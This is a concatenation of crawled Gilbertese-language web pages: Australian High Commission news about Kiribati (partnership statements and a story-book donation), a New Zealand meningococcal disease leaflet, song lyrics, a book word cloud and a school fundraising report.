Mwakuri n Reitaakin Aaaba ao Iokinibwai ae Senator the Hon Penny Wong. Aio bon kaotan ara kakaonimaki nakon te reitaki ni ikarekebai ni kakoroa nanon ana kainibaire te tautaeka ni Kiribati ibukin 20 te ririki, are karikirakean Kiribati bwa ena riki bwa te aba ae mamauriaki, ena rau, ao ni kakabwaiaaki. Tina kakorakora ara reitaniwaaki iaon karikirakean kaubwain te aba, n aron mwakurian tabon teuaabu are i Betio, te mwakuri ni karokoa Kiribati bwa ena tauraoi ni kaitarai bibitakin kanoani boong, ao ai boni katomaana ma te keboro are biri iaan tare man te aono ni Betebeke meang ibukin te toma ma te intanete.\nIbukin kakorakoraan te rau n ara aono, ao Aotiteria ena bon ikarekebai ma Kiribati iaon waaki n tararua i marawa ao nte naan matabaiawa, ibukin kateimatoaan karinean inaomatan te aba teuana ma teuana n Tebetebeke. Aikai waaki aika moan te kakawaki i Aotiteria ao Kiribati bwa ana ikarekebai ni mwakuria. E na bon kona n ibuobuoki ni karikirakeira bwa aaba aika itangitangiri, a nano-teuana ao man karekea te kabwaia nakon ara aono ni Betebeteke ae bwanin.\nE reke te tai n rairikaaki n tarai kakawakin te reitaki n nano teuana ao ni bwanin. Ara boto n iango ake ti uataboi iaan te mauri, te kabwaia ao te tatauraoi, a riki bwa tii teuana. Ngkai i tei bwa ana Aikamitina Aotiteria nakon Kiribati, ao na kabanea au kona ni mwakuria ao ni kakorakora te reitaki aio. E ngae ngke tao iai kangaanga nako ake a tei imatara, I kona n taekina ma te koaua nakon Kiribati bwa, ena kona n onimakina Aotiteria Kiribati bwa ena bon tei irarikina bwa te rao ni koaua, inanon ara tai n iwawaaki ni wawantongaa uarokoan abara bwa aaba aika e rikirake te maiu inanon te raoi iai, ena mano n tararuaaki raoi, ao nrikirake te kabwaia iaona ntaai aikai ao aika ana roko, ibukiia ana botanaomata nako.\nReflections on Independence Day 2023 - A message from the Australian High Commissioner, Her Excellency Karen Bray\nThis week I was proud to join colleagues from the Australian High Commission to celebrate Kiribati's Independence Day – my first as Australia's new High Commissioner.\nIn my first weeks here, I have observed many shared values between our countries and communities. Collectively, Kiribati and Australia both value family, mateship, fairness, honesty and the chance to come together over sport! We are united in our desire to build a better future for our families, our countries and our region.\nOn a personal level, I feel genuinely fortunate to be here. I have been so warmly welcomed into the community and been shown patience, understanding and kindness. I look forward to introducing my family to these shores later this month. Through our genuine connections, through our willingness to learn more about one another, we will continue to grow and nurture our relationship.\nIt was such an honour to join the many National Day festivities this week, including the National Culture Day, Kiribati Vocal Competition, and the Beauty Contest, to experience firsthand the rich and diverse Kiribati culture and traditions. I continue to be in awe of the dancing and singing skills of the i‑Kiribati and it is a privilege to be invited to share your dancefloors at these events.\nThroughout the week, as I experienced your strong sense of community, I reflected on Australia's story. The Australia of today is a diverse and multicultural country. But Australia is home to one of the world's oldest continuing cultures – culture which is a vital part of modern Australia. We share common ground with so many of the world's peoples, and the Pacific family, of which we are part.\nI was delighted Australia could sponsor several sporting events this week, including the volleyball and para-athletics. Australians – like i-Kiribati – love sport! It was inspiring to witness all competitor's vigour and determination. Australia will continue to support and advocate for inclusiveness so that all members of our community can engage and realise their full potential.\nThe theme of this year's Independence Day celebrations is \"A prosperous nation through good governance\". Australia shares this commitment to good governance and applauds the achievements of the Government of Kiribati including the release of the new anti-corruption strategy. The Australian High Commission is proud to be hosting a roundtable discussion this week with experts from the region and Government of Kiribati representatives to discuss this important 20-year vision (KV20) goal: creating a corruption-free society.\nThrough our longstanding and diverse development partnership, we are proud to promote inclusive education, health and economic outcomes for everyone in Kiribati.\nOur partnership in education is equipping the next generation of i-Kiribati with the skills needed for the jobs of tomorrow. We will continue to support health service delivery in Kiribati, including to reduce the spread of communicable diseases to improve the health and wellbeing of our families, friends and communities.\nThis is in turn is helping more people to engage in domestic and international employment opportunities, which is helping families to prosper and supporting strong economic growth. I have already seen for myself the fruits of these investments and the benefits our partnership yields for the people of Kiribati.\nEarlier this year, His Excellency President Maamau and the Australian Minister for Foreign Affairs Senator the Honourable Penny Wong signed the Tobwaan Te Reitaki Memorandum of Understanding.\nThis is a clear expression of our joint commitment to implementing Kiribati's KV20 vision of a healthy, peaceful and prosperous nation. We will increase cooperation in critical economic infrastructure including on Betio Port, climate protection and adaptation and the East Micronesian Cable.\nKiribati and Australia will also strengthen our partnership on borders and policing to promote a peaceful and resilient Blue Pacific where sovereignty is respected. These are values Kiribati and Australia share, and values that will help us to build a strong, united and prosperous Blue Pacific region together.\nKiribati's Independence Day celebrations were an opportunity to reflect on the importance of unity and community. Our peace, prosperity, and resilience are intertwined. As the Australian High Commissioner to Kiribati, I will work to further strengthen our long-standing partnership with Kiribati. Whatever challenges lie ahead, Kiribati can rely on Australia as its closest and most dependable partner, as we work together to ensure a peaceful, secure and prosperous future for all our peoples and communities.\nAustralia's Pacific Engagement Visa in final stages\nEmpowering Kiribati's young readers: 60,000 te-Kiribati Story Books Donated from Australia to Primary Schools and launch of online digital library\nMEDIA RELEASE - For Immediate Release, 4 July 2023\nTarawa, Kiribati\nAustralia, in partnership with Ministry of Education, is thrilled to announce the distribution of 60,000 te-Kiribati story books to all Primary Schools across Kiribati. This initiative aims to enhance literacy, promote the rich cultural heritage of Kiribati, and emphasise the importance of learning to read and write in Te-Kiribati as a foundation for supporting literacy outcomes among young readers.\nThe 300 book collection consists of 196 books translated from English to te-Kiribati language, along with 104 original stories authored by i-Kiribati. These captivating stories cover a wide range of topics, including Health & Hygiene, Cultures & Communities, Sports, Arts & Recreation, and Science & The Environment. The books are thoughtfully curated, featuring mirror stories that reflect life in Kiribati and window stories that provide glimpses into life beyond Kiribati's shores.\nRecognizing the fundamental role of i-Kiribati literacy in supporting literacy outcomes, these te-Kiribati story books are designed to foster a love for reading, while also strengthening foundational language skills. By engaging children in their native language, we provide them with a solid foundation that enhances their overall literacy development, including English proficiency in support of bilingual education goals.\nChildren will have the opportunity to read these books independently, allowing them to embark on literary adventures and expand their horizons. Families are encouraged to participate by reading the books together, creating joyful moments of shared storytelling. Teachers will also benefit from these resources, as the books can be utilized to teach te-Kiribati literacy, supporting the development of both languages.\nTo further extend access to these valuable resources, the Library for All app (available on Google Play) offers the opportunity to download the story books. This ensures that children can enjoy reading at home, even in areas with limited internet connectivity.\n\"We firmly believe that learning to read and write in te-Kiribati is foundational to supporting literacy outcomes,\" said Ms Karen Bray, Her Excellency Australian High Commissioner. \"By promoting the importance of te-Kiribati literacy alongside English, we are empowering young readers and equipping them with the necessary skills to succeed in their education.\"\nThe distribution of these books would not have been possible without the support and collaboration of Australia and the Ministry of Education as part of the Kiribati-Australian Partnership, through the Kiribati Education Improvement Program (KEIP) in partenrship with Library for All and Vodafone. Their commitment to education and community development has made a significant impact on the lives of young readers in Kiribati.\nWith this distribution, a total of 60,000 books have been distributed to primary schools and compliments 60,000 English books distributed in 2020, marking a significant milestone in the Government of Kiribati KV20 efforts to promote literacy and education throughout Kiribati.\nATUUNA: Kaungaan te wareware irouia te roro n rikirake i Kiribati: E Anga 60,000 Booki n wareware aika a koreaki n taetae ni Kiribati Aotiteeria nakon Moan Rinan Reirei ao ni katea ana tabo ni boki n te intanete.\nKATANOATA – Ibukin katawean Kaotinakoana, 4 n Tuurai 2023\nTarawa, Kiribati\nInanon te reitaki ae tamaroa imarenan Aotiteeria ao Te Bootaki n Reirei, ao ti kukurei ni katanoata bwa ea waaki tibwatibwaan 60,000 mwaitin Booki ni Wareware aika a koreaki nte taetae ni Kiribati, nakoia Moan Rinan n Reirei nako i aoni Kiribati. E boboto te moan tetere aio i aon reiakinan te konabwai ni wareware ao ni koroboki, katanoataakin rikiara ma ara katei ni Kiribati, ao ni katereterea kakaawakin reiakinan te wareware ao te koroboki n taetae ni Kiribati ibukin boutokaan te konabwai ni koroboki ao ni wareware nakoia te roro ae e tabe n rikirake.\nTe boota ni boki ae 300 mwaitina, ao iai 196 mai i buakona booki ni I-Matang aika a rairaki nakon Te-Kiribati, ni ikotaki ma 104 karaki aika a bon karioaki irouia I-Kiribati. Booki ni wareware aika a katikinano aikai, a boni bane aeka ni karaki nako iai, tabeua mai ibuakon karaki aikai bon booki ni wareware iaon te Mauri ao te Kakaitiaki, te katei ao te rongorongo iaon kaainga ao Baronga, Takaakaro, te korobanna, booki ni wareware iaon kukune ake a tia ni kataaki ao ni kakoauaaki, ao ai bon rongorongon te otabwanin. A bon bane ni barongaaki raoi karaki aikai, ao ni kabotoaki iaon kakrakinan te maiu iaon Kiribati ao tabeua karaki iaon te maiu itinanikun Kiribati.\nBooki ni wareware aikai, ana boni kona ni karekea tangiran ao kakerakean te unga nnano nte wareware, ao ni karekea kinakin kakawakin te taetae ao te koroboki ni kiribati ibukin boutokaan te rabakau iaon te taetae ao te koroboki n taetae ao koroboki tabeua. Teiango bwa ena korakora aia konabwai ataei nte wareware ao te taetae, ao booki ni koroboki aikai, ana bon angan te ataei ana tai bwa ena wareware moa n oin ana taetae ae te-Kiribati. Te tai are ea kona iai ni wareware te ataei nte taetae ni Kiribati, ao ena bebete ngkanne aron te wareware n taetae tabeua inanon ana tai n reirei.\nE na reke aia tai ataei ni warekii booki aikai bon irouia, ni kariniia i nanon te karaki ao n neweaba ni karaababai riki aia atatai. A kaungaaki utuu bwa a na kaai n warekii booki ma aia ataei, bwa e na karekea te kakukurei ni warekan te karaki. E na rangi ni ibuobuoki aio nakoia taan reirei, bwa booki aikai a kona ni kamanenaaki n reiakinan te konabwai ni wareware ao ni koroboki ni Kiribati, ni boutokaa karikirakean te taetae ao te koroboki ni I-Matang ao ni Kiribati.\nIbukin karaababaan aron karekean booki aikai, ao ea tauraoi ana app te Library for All (n te Google Play) n anganiko te konaa ni karuoi booki ni wareware aikai inanon te intanete. Akea te nanokokoraki bwa ataei a kona ni wareware ma te kukurei ni mweengaia, ao n taabo aika e aki roko iai korakoran te intanete.\n\"Ti kakoaua bwa reiakinan te wareware ao te koroboki ni Kiribati bon moan te kakawaki ibukin boutokaan karikirakean te rabakau ni kona ni wareware ao ni koroboki,\" e taku Ana Aikamitina Aotiteeria ae Ms Karen Bray. \"Ngkai ti kaunga kakawakin te taetae ao te koronoki ni Kiribati irarikin te koroboki ao te taetae n imatang, ao ti bon kakorakoraia te roro n rikirake n anganiia rabakau rinanon te wareware, ao ana kona n tokanikai inanon aia tai n reirei.\"\nA mwaiti kangaanga aika ti aitara ma ngaai ao ena bon kanganga aron tibwatibwaan booki aikai, n akean ana buoka Aotiteria ao te Bootaki n Reirei, iaan te reitaki ae te Kiribati-Australian Partnership, rinanon ana rabwata te bootaki n reirei ae te Kiribati Education Improvement Program (KEIP), n reitaki ma te Library for All ao ai te Vodafone. Aia botumwaaka nakon te reirei ma karikirakeaia kaawwa nako, e a tia ni karekea uaana ae e tamaaroa nakon maiuiia te roro n rikirake i aon Kiribati.\nA tia n tibwaaki n te tibwatibwa aio, 60,000 booki nakon moan rinan n reirei ao 60,000 Booki aika a koreaki ni I-Matang ike e a kanikinaaea te mwaneka ae e kakaawaki n ana Kataratara te Tautaeka ni Kiribati i nanon 20 te ririki i aon karikirakean te konabwai ni wareware ao ni koroboki ao te reirei n abani Kiribati.\nFOR MEDIA USE\nIf you would like further information or interviews, please contact:\nTeekoa Iuta [email protected] Tel: 73055864\nTeemwa Rereniti, Government Public Diplomacy Communications Officer, Australian High Commission [email protected] Tel: 72041117","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/kiribati.embassy.gov.au\/twaa\/News.html","date":"2024-04-13T23:19:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296816853.44\/warc\/CC-MAIN-20240413211215-20240414001215-00692.warc.gz","language":"gil","language_score":0.9993981123,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9993981122970581}","num_words":15392,"character_repetition_ratio":0.06,"word_repetition_ratio":0.008,"special_characters_ratio":0.193,"stopwords_ratio":0.221,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Meningococcal disease - know the symptoms - Kiribati HE2665\nInformation in Kiribati (Gilbertese) about the symptoms of meningococcal disease and what to do if someone has them. Seek medical advice quickly.\nThe full resource:\nTe aoraki ae te Meningococcal | Atai kanikina\nTai kakantaninga - kakaenako buokam\nTe aoraki ae te Meningococcal\nTe aoraki ae te Meningococcal e bon reke man te man n aoraki, ao ni kona ni karekei uaekaki n aoraki aika ana rangi ni kakaiaki.\n- Te Meningitis (te aoraki nakon kuoran te kaburoro - brain membranes)\n- Boitin te rara (te Septicaemia)\nE rawata aika a mate riki man boitin te rara ni kabotauaki ma te meningitis.\nA kaokoro rinanin manin te aoraki ae te meningococcal, ao a kurubunaki n aekan aei, A, B, C, W ao Y. Angiia aika a reke n te aoraki aei i Nutiran a reke man kurubu B.\nTe aoraki ae te Meningococcal e rangi ni kai reke irouia aomata - tii inanon tabeua te aoa ao a kona naba n rangi ni mamara.\nTe aoraki\nE na kekerake teutana angin te aoraki inanon teuana ke uoua te bong, ke e na kona ni waekoa ni kakaiaki inanon tabeua te aoa. E kona ni bwainaorakiaki ma te antibiotics, ma e rangi ni kakawaki moantaaian bwainaorakiana. Ni moan reken te aoraki, ae te meningococcal e na kona ni kaoti bwa aekakin te influenza (flu) ke te cold, ma e na kona n rikirake korakorana n te tai ae tawe. N tabetai ao e kona te aomata n namakina te aoraki ao ni manga namakinaki te marurung imwain are e tira naba ni kakaiaki n te tai ae tawe.\nTe aoraki ae te Meningococcal e bon aki kona ni bwainaorakiaki n te auti - e rangi ni kakawaki karekean te ibuobuoki man te onaoraki n te tai naba anne.\nTaian kainikina ibukin te aoraki ae te Meningococcal bon ti te arona ma aoraki ake a aki teimaan ao man raoiroi iboni irouia. Te aoraki ae te Meningococcal e bon aki kona ni bwainaorakiaki n te auti - e rangi ni kakawaki karekean te ibuobuoki man te onaoraki n te tai naba anne.\nNgkana ko tabeaianga iroun temanna bwa e reke irouna te aoraki ae te meningococcal, tarebonia am taokita (General Practitioner), Healthline n tarebonia 0800 611 116 ke te tienta ake a uki imwin aoan te mwakuri ni baronga norakia n te tai ae waekoa. Ngkana e aki kona ni bae am tai, kairiia nakon te Emergency Department n te onaoraki are e kaan nakoim ke tarebonia 111.\nNgkana ngkoe te karo ke te tia tararua ao ko bon riai n onimakina are bon bwanan nanom - boni ngkoe ae ko ataia bwa natim e rikirake n aoraki nakon are ko bon tataneiai ao e tabe n rikirake ni kakaiaki n te tai ae tawe. Ngkana a bane am anga ni kakaean buokam ao an tarebonia 111 ibukin te amburanti.\nAntai ae e rangi ni kai reke irouna te aoraki aei?\nTe aoraki ae te Meningococcal e bon kona n reke irouia aomata ni kabane. E ngae n anne ao ngoro, ataei ake iaan 5 te ririki, mataburo ao kairake ake a maeka ni ikotaki ma tabeman n tabo n reirei ke tabo ake a kaboaki ibukin te maeka a bon rangi ni kai reke irouia ao a riai ni itinaki n te iti n totoko. Aomata nako a kona n reke irouia n te tai n aki akaka inanon te ririki, ma e rangi ni kai butinako n tain te winter ke te spring.\nE rangi ni kai reke riki irouia ngoro ake iaan teuana te ririki, ao kain Māori ao ataein te Betebeke ake iaan 5 te ririki e a rangi ni kakaiaki riki ngkana e reke irouia. Ikeikenakin bubun te moko, te ibetutu ni maeka ke ngkana iai aorakim ae e irekereke ma te ikeike n aekakin te flu (influenza) a na kakorakora riki kakai rekena iroum, ngaia are iangoa karekean itim n totokoa te flu ni katoa ririki ibukim ao ibukia am ataei.\nTotokoana\nTe aoraki ae te Meningococcal e ewe n ai aron te aoraki ae kabuta ae te cold - man te bekobeko ao te mwatie.\nTe man n aoraki aio e tiku n tekateka inanon bwairia ao buaia aomata aika a marurung ao aki kona ni kaewea nakon temanna. Te man n aoraki e aki kona n tei maan maeuna itinanikun te rabwata, ngaia are e kanganga naba ewewena mai iroun temanna nakon temanna. Te aoraki ae te Meningococcal e rangi ni kai ewe imarenaia aomata aika a maeka ni botaki inanon te auti ae ti teuana ke nake a rangi ni irekekere ni kaan ma ngaia.\nTabeua kawai n totoko n aron nangoan bwairim ao wiim ngkana ko mwatie ke ni bekobeko, ao te tebobai ao kamwauan raoi baim, ana kona ni buoka kauarerekean butinakon te manaoraki. Tai buoka ni bwai ni bwai ake e tiku iai mwin te baware iaona n aron te bwatoro ni mooi, te lip balm ke tenan vape.\nKanikinaean te aoraki\nKanikinaean te aoraki ae te meningococcal tao ana aki kona ni kaoti n te tai ae tii teuana. Tabeua kanikina, n aron te kabuebue, a rangi n tabangaki n rereke. Karekea te buoka n te tai naba anne ngkana ko namakini ke a ikotaki ni kaoti kanikina aikanne. Tarebonia am Taokita (GP), te Healthline n tarebonia (0800 611 116) ke te tienta ake a uki imwin aoan te mwakuri. Ngkana e aki kona ni bae am tai, kairiia nakon te Emergency Department n te onaoraki are e kaan nakoim ke tarebonia 111.\nTe aoraki ae te Meningococcal e bon rawata aekakin kanikinaeana. N aron aikai:\n- te kabuebue ae e korakora\n- maraki n atu\n- minotakin n te iango\n- te ni matutu\n- marakin toman taian rii ao mwatireti.\nIai naba kanikina aika a onoti nakon te aoraki aei, n aron:\n- kiriwantata n te kun\n- te kai n roroa\n- ribakin te\/ao te mwebuaka n te oota ae bane ootana\n- te mumuta\n- te tang\n- te rawa n amwarake (irouia ngoro)\n- tao tiburaken te mango (te tabo are e maraurau iaon te atu)\n- te katikitiki.\nTe naan ngoro a kona ni mwaitoro baia ao rangaia, ke n noraki te kiriwantanta iaon rabwataia ao tao n rawa n amwarake. Ikawai a kona ni matutu, ni minotaki, ni karaoi mwakuri aika aki kakaraoi, ke a matu n aki namakinaba.\nTe kiriwantantan iaon te kun bon te kara ae e uraura n aron te bae e teke n te biin, ke te buruti, ae e aki kona ni bua ngkana ko taonna n te kirati, bon te kanikina ae kararaoma. Ko riai n tarebonia te amburanti ngkekei naba, ngkana e kaoti te kiriwantatan aio iroun te ataei ke te ikawai ae aoraki. Te bauraura e kona ni kaoti n te tabo n aki akaka iaon te rabwata, ma tai tataninga kaotina imwain karekean buokam man te onaoraki. Tao temanna ni katoa teniman te aomata ae reke n te aoraki ae te meningococcal e aki reke irouna te bauraura.\nWaekoa ni karaoia\nNgkana iai temanna kain am auti ae aoraki ao n reke teuana ke n riaon teuana n reke irouna taian kanikina ae a kaotaki n te moan iteraniba, kakaea te buoka n te tai naba anne.\n- Tarebonia te taokita, te tabo n tutuo (medical centre), kiriniki ake a uki imwin te tai ke te Healthline n tarebonia (0800 611 116) ngkekei naba - n te ngaina ke te bong.\n- Taekini taian kanikina ake a kaoti.\n- Ngkana ko taku bwa te meningococcal te aoraki anne, tai bwarannanoia.\n- Kaumaka karaoan te ibuobuoki ngkekei naba.\n- E ngae ngke te aomata arei e a tia n tuoaki iroun te taokita, a bon riai n tarataraki.\n- Ngkana e a tia ni manga noraki iroun te taokita kakoaua raoi bwa a bon reke rongorongo ake ko anganaki ibukin manga am tai n oki ke n tarebon ibukin ibuobuoki aika a katawe. Tuatua bwa ana koreaki kaetieti aikai nakoim.\n- Ngkana e kekerake ni kakaiaki te aoraki oki rikaki n te tai naba anne nakon te taokita ke te onaoraki. Tuangia taan mwakuri n te onaoraki bwa am aomata anne e a tia ni bwainaorakiaki n te antibiotic, bwa aio e kona n totokoi norakin kanikina.\n- Tai katuka te aomata ane e aoraki iboni irouna.\n- Ngkana ko kainnanoa te buoka ae e tawe tarebonia 111 ao bubuti te amburanti.\nE rangi ni kakawaki bwa ko na atai kanikinaean te aoraki n te meningococcal, ao ni karekea te ibuobuoki man te onaoraki n te tai ae tawe ngkana iai tabeaiangam.\nTe iti n totoko ibukin te aoraki ae te meningococcal\nTe iti ibukin te aoraki ae te meningococcal a bane n tauraoi ibukia ake a rangi ni kai ewekaki n te aoraki aei.\nE mwanenaki te iti n totoko ibukin kurubu A, C, W ao Y nakoia:\n- Nake a irereke ni kaan ma nake e reke irouia te meningococcal n kurubu aikai (A, B, C, W ke Y).\n- Aomata ake a tia n reke n aorakina te meningococcal mai imwaina.\n- Aomata ake a rangi ni kai reke irouia meningococcal ibukin kerikakin korakoran rabwataia n totokoa te aoraki ni kaineti ma aorakin rabwataia tabeua.\n- Kairake ao te roronrikirake ae bwakara te ririki ae 13-25 aia ririki ake a tauraoi ni maeka ke ni ikotaki ni maeka n tabo n reirei (boarding school), ke n ana tabo ni maeka te kuura ae rietata, aia tabo ni maeka tautia ke ni karabuti.\nE mwanenaki te iti n totokoa ibukin kurubu B nakoia:\n- Nake a irereke ni kaan ma nake e reke irouia te meningococcal ni kurubu aikai (A, B, C, W ke Y).\n- Aomata ake a tia n reke n te aoraki ae te meningococcal mai imwaina.\n- Aomata ake a rangi ni kai reke irouia te meningococcal B ibukin kerikakin korakoran rabwataia n totokoa te aoraki ni kaineti ma aorakin rabwataia tabeua ni ikotaki ma nake a ngore tautian rabwataia.\n- Te ngoro ni karokoa 12 te namwakaina aia ririki, a barongaki itinakia ni iteran te burokuraem ibukia ataei ake a uarereke.\n- Kairake ake man 13 nakon 25 aia ririki ake a tibwa tokara aia moan ririki n tabo ake a ikotaki ni maeka ma tabeman.\n- Te ngoro are man 13 nakon 59 namwakaina (ni karokoa 31 Aokati 2025).\n- Aomata ake man 13 nakon 25 n aki tabeakinaki maania ni ikotaki ni maeka ma tabeman (ni karokoa 28 Beberuare 2024).\nIbukin rongorongon riki karekean te iti n totoko\nibukin te meningococcal\n- maroro ma am taokita (GP), te neeti ke am tienta ibukin te mauri\n- tarebonia te Healthline n te nambwa ae 0800 611 116\n- immunise.health.nz\/meningococcal\nKo na nakea ibukin karekean te ibuobuoki iaon te aoraki ae te meningococcal\nNgkana ko kan ata riki rongorongon te aoraki ae te meningococcal, maroro ma am taokita, te neeti, ke te tienta ibukin te mauri, ke n reitaki nakon te botaki ni mwakuri ibukin katoki aoraki.\nIbukin karekean ibuobuoki itinanikun aoan te mwakuri (te 24 n aoa n tieweti), tarebonia te Healthline iaon 0800 611 116","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/healthed.govt.nz\/products\/meningococcal-disease-know-the-symptoms-kiribati-he2665","date":"2024-04-18T23:21:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817249.26\/warc\/CC-MAIN-20240418222029-20240419012029-00690.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1786,"character_repetition_ratio":0.101,"word_repetition_ratio":0.062,"special_characters_ratio":0.226,"stopwords_ratio":0.377,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Wave Your Flag (feat. Teurane, Milas, Den G & Lukaemi)\nKatioa am buraeki, 'tioa am buraeki, 'tioa am buraeki AfricanBoy Milas yeah (wayeh wayoh) Elijah L (seyoo oh oh oh) Teurane yamwa yamwa Den G eh Lukaemi ya ya Ea roko te bong ma te tai are ti kariaa Nna karaua n iangoia bwa e nga au abamwakoro ae nna nakoina ke nna tei mai iaa? Ao te tai aio ti bane n ataia bwa tina kabanei ara kona Ibukin tangiran abara ao tina taua mai iaana n arana Bwa tina kaota bannara n arora ma takakarora Watch me do a nae nae Happy feelings for my island yamwa yamwa yamwa Good enough is good enough A seh na gami good enough we better bring the best ah Game is on the radar Yeah we not a gamer You me call dem players Mwakuriia bwa ana wiingarengare kaain abara Ake a tiku ngkai imwiira tai raraoma Bwa kam bon ataia Ae abami inanon baira Ao abara inanon baira eh Wave your flag Wave your flag It's my island, I will fight for its honour And again I will fight for its honour Katioa am buraeki, 'tioa am buraeki, 'tioa am buraeki A kakaokoro ara abamwakoro Ti roko mai iai ibukin ara takakaro Ti teuana ngaira iaan otan taai Te aba n tangira abara ae Kiribati eh E mwaono ramwau E korakai rabwatau Ma I aki tabe iai bwa ngai I tangira abau Te mauri te raoi ao ai te tabomoa Iriara n taainako oh oh (ao ea) Ao ea katanoataaki iaon te radio Bwa te runga n kauaaba iaon abara aio Bwa mai tabona nako tabona Iaon abamwakoron nako Kiribati Ma takakarona ake a kakaokoro Ana rungarungaki irouia abamwakoro Bwa ana tei ibukin abaia oh Ena uotaki te ai, ena ura iai bwa te kukurei Wave your flag Wave your flag It's my island, I will fight for its honour And again I will fight for its honour Katioa am buraeki, 'tioa am buraeki, 'tioa am buraeki Ao akea ngaira bwa ea rokoroko n taina Te tai aio bon te tai ae tina bunra iai nanora I onimaki cos I got my fam behind me Ara bond ae matoa ti aki kona n karangaaki Ao bon akea nnen te kairiribai Tina bwaina te tangira ma te taubai Ti nano teuana n toman baira Bwa ena kakorakoraira Nakon tokanikaira Yeah teitei baira nako ieta ieta, I karawa te number one Hoping for number one Yeah we drink for number one Sacrifice for number one Noora goose bump (brrr) I, Ko, E, Ti, Kam, A tokanikai Ah wave your flag! Wave your flag Wave your flag It's my island, I will fight for its honour And again I will fight for its honour Katioa am buraeki, 'tioa am buraeki, 'tioa am buraeki Wave it a seh wayeh wayoh Katioa am buraeki, 'tioa am buraeki, 'tioa am buraeki Katioa am buraeki yeah yeah yeah Katioa am buraeki, 'tioa am buraeki, 'tioa am buraeki\nWritten by: Eria Lambourne, Rony Elliot, Salim Farouq, Tauanei Teangabwebwe, Teneti Peter\nLyrics © DistroKid\nLyrics Licensed & Provided by LyricFind\nDiscuss the Wave Your Flag (feat. Teurane, Milas, Den G & Lukaemi) Lyrics with the community:\nCitation\nUse the citation below to add these lyrics to your bibliography:\nStyle:MLAChicagoAPA\n\"Wave Your Flag (feat. Teurane, Milas, Den G & Lukaemi) Lyrics.\" Lyrics.com. STANDS4 LLC, 2024. Web. 18 Apr. 2024. .","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/www.lyrics.com\/lyric-lf\/4418763\/Elijah+L\/Wave+Your+Flag+%28feat.+Teurane%2C+Milas%2C+Den+G+%26+Lukaemi%29","date":"2024-04-18T07:55:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817200.22\/warc\/CC-MAIN-20240418061950-20240418091950-00774.warc.gz","language":"gil","language_score":0.9896861911,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9896861910820007}","num_words":562,"character_repetition_ratio":0.144,"word_repetition_ratio":0.128,"special_characters_ratio":0.226,"stopwords_ratio":0.176,"flagged_words_ratio":0.0,"lang_id_score":0.991,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"26 pages matching ngkai in this book\nResults 1-3 of 26\nWhat people are saying - Write a review\nWe haven't found any reviews in the usual places.\nPRESENTATION\n|19|\nPRESENTATION\n|20|\nCORPUS SOURCES METHODES\n|33|\nCopyright\n6 other sections not shown\nabana Abemama ae arana aika Akau akea ba ana b'ai anne aomata Aonuuka arana aranaki arei aron Arorae Auatabu Auriaria ba e a Baibuke Bakoa Baretoka Beru Buariki bukin Butaritari district e a manga e a tia fonde le siège généalogie Grimble iaan iango iaon iein imwin iroun kaainga kabane kain kangai karawa kariki Karongoa kawara Keaki Kirata koraki Koura Kourabi m'aane m'akuri Maemae maiaki Mamanti mananga maneaba Manriiki meang moana Naareau Naatibu naba nako nakoiang nakon Nanikain nanon natina neiei ngaia ngkai ngkana ngke e a Nikumanu Nikunau Nimanoa Nonouti nord nuuka Onotoa pirogue reke Riiki riki rimwi roko Rungata s'unit Taamoa Tabakea Tabiang Tabiteuea tabo Tabomatang tabon Tabontebike Tabuariki Taburimai Taburitongoun Tabutoa taeka taekan taku tamana Tanentoa Tarawa Tebaka Tebomatemakii Tebooi Teinai Tekaai tekateka Temamaang temanna Tematawarebwe Tetaake teuaei teuana teuare Teweia tiku toka toponyme Uamumuri","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/books.google.com\/books?id=Ul-yAAAAIAAJ&q=ngkai&source=gbs_word_cloud_r&cad=6","date":"2014-07-11T00:00:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1404776423075.13\/warc\/CC-MAIN-20140707234023-00090-ip-10-180-212-248.ec2.internal.warc.gz","language":"gil","language_score":0.9929922819,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 0.9929922819137573}","num_words":172,"character_repetition_ratio":0.01,"word_repetition_ratio":0.0,"special_characters_ratio":0.175,"stopwords_ratio":0.076,"flagged_words_ratio":0.0,"lang_id_score":0.994,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"E teke ana takete te komete n ana Ex KGV\/EBS imwin karaoan ana dance nikarikirake are e karaoai n tairikin te kanimabong ae nako n te Seaman I Betio.\nMan te riboti are e reke ma irouia komete n te rabwata aio ao a taekinna bwa e raka iaon teuana tebun te nga aia mwane are a rikoia n taint e karikirake aio ni moa man te aoa 7pm nakon 2am. E atekinna te tia babaire n te koemte aio ae Elaine Iuta Bwebwe bwa e kakukurei noran nanoia aomata ake a roko ni boutoka te waki aio kioina ngkai ann te karikirake aio bon karekean ke katean aia tabo riki nikamatebwai ataein te reirei ae KGV\/EBS inanon aia kawa n reirei I Bikenibeu.\nN aia bowi ni komete n te bong aio n taboran te KPF are I Bairiki ao e moti bwa e na anganaki te reirei te mwane aio inanon aia tai n assembly nakon te wiki ae nako iroun te tia babaire n te komete. N reitaki ma anne ao e taekinna riki te tia babaire n te komete aio bwa te mwane aio buoka mwanenankin ao kateakin aia kai n tekateka ao aia.\nN te tai aio ao te reirei ae KGV\/EBS bon iai 3 ana taibora ma kaintekateka aika a karaoaki man te buriki ao te timanti.\nAna akntaninga te komete n te Ex kgvebs bwa n tian aio ao na manga nora riki aia karikirake tabeua ake a na rangi I manena nakoia ataei n te reirie aio riki ake aki kona n reke 